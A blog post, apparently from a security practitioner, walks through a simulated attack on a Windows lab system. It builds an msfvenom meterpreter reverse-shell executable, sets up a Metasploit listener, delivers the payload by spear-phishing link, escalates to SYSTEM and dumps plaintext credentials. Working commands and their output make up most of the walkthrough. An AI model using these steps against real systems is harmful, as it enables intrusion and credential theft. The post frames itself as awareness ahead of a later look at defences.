I often find myself discussing endpoint security with customers and colleagues. The essential agreement is that Windows computers should be running the latest security update, and have the appropriate security policies and baselines in place to protect against unauthorised access, malware etc.

Nevertheless, some customers don’t see security as a high priority and often hold ‘user experience’ as the most important metric.

Using a combination of KALI, Metasploit and meterpreter my aim here is simple – gain access to a Windows system and obtain security information or credentials that can be used in my next phase of attack.

Here I will serve a simple file (or a payload) on a webserver which can be downloaded and executed by my target, opening a session with my listening exploit.

Step 1, KALI

First, I use msfvenom to create a payload that will reach out to my listening exploit service.

└─# cd /var/www/html     
└─# msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST= LPORT=1337 -b "\x00" -e x86/shikata_ga_nai -f exe -o runme.exe

Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 381 (iteration=0)
x86/shikata_ga_nai chosen with final size 381
Payload size: 381 bytes
Final size of exe file: 73802 bytes
Saved as: runme.exe

With my payload created, and saved on my webserver, I need to set up my handler to listen for any incoming connections.

└─# msfconsole -q
msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST
msf6 exploit(multi/handler) > set LPORT 1337
LPORT => 1337
msf6 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 

Step 2, execute the payload

From my previous post, I have gathered target full-names and email addresses. These include general addresses such as “admin@firstcoffee.co.uk” or “billing@firstcoffee.co.uk”. Using this info I can launch my next phase, which is really just an email containing a simple link to my exploit file on my webserver.

KALI includes the Social Engineering Toolkit, which I will go into in further detailed another time. For now I will assume that my spear phishing attempt was successful and my intended target has:
– clicked my link
– downloaded my file
– run it as admin.

We all know that almost all users wouldn’t think twice about hitting “run” on this dialogue.
As soon as the Payload is run, my reverse tcp session is open, with a meterpreter prompt.

Step 3, dump the plaintext credentials

So now that I have a session with my target, I’d like to see if I can grab some credentials. Right now, I’m running in the context of the user who executed the payload

meterpreter > getuid
Server username: CORP\LabAdmin

By running getuid, i see my user is LabAdmin – that’s a good start. And since LabAdmin was kind enough to run my file “as administrator”, switching to SYSTEM privileges is simple:

meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Now, with SYSTEM privileges, I can load up a “post exploitation” module, such as lsa_secrets to gather unencrypted passwords.

As luck would have it, labadmin is also a domain admin, so the next step in this attack may be to locate other target computers in the same subnet, or infrastructure servers that this user has privileges to.

So there we go; with a handful of commands and a reasonably convincing email, I’ve been able to simulate an attack. This time, it was simply remotely gathering plaintext passwords from an unprotected system. Later I aim to look at how the security features in Windows 10, such as Credential Guard, can help mitigate this type of attack.


Leave a Reply